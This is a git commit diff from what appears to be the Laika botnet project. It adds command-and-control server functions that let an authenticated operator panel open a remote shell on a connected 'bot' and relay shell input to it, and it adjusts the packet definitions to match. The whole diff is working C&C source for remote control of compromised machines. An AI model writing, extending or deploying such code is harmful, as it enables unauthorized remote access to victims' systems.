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Implemented laikaC_handleAuthenticatedShellData & laikaC_handleAuthenticatedShellOpen

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CPunch 2022-02-28 16:39:02 -06:00
parent 8438378560
commit 2d8e9ed106
2 changed files with 27 additions and 4 deletions
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27
cnc/src/cpanel.c
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@ -67,17 +67,44 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
struct sLaika_cnc *cnc = aInfo->info.cnc;
struct sLaika_peer *peer;
/* sanity check, make sure shell isn't already open */
if (aInfo->shellBot)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Shell already open!\n");
/* read pubkey & find peer */
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
if (peer->type != PEER_BOT)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
/* link shells */
aInfo->shellBot = peer;
((struct sLaika_botInfo*)(peer->uData))->shellAuth = authPeer;
/* forward the request to open a shell */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN);
}
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
struct sLaika_peer *peer;
/* sanity check, make sure shell is open */
if ((peer = aInfo->shellBot) == NULL)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Not shell open!\n");
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n");
/* read data */
laikaS_read(&authPeer->sock, data, sz);
/* forward data to peer */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_write(&peer->sock, data, sz);
laikaS_endVarPacket(peer);
}

4
lib/include/lpacket.h
View File

@ -11,8 +11,6 @@
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPV4_LEN 16
/* max number of concurrent shells per peer */
#define LAIKA_MAX_SHELLS 16
#define LAIKA_SHELL_DATA_MAX_LENGTH 256
/* first handshake between peer & cnc works as so:
@ -89,11 +87,9 @@ enum {
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_RES, /* panel requesting cnc open a shell on bot */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t shellID; -- shell id of shell opened on bot
*/
LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */
/* layout of LAIKAPKT_SHELL_DATA
* uint16_t shellID;
* char buf[VAR_PACKET_LENGTH];
*/
LAIKAPKT_MAXNONE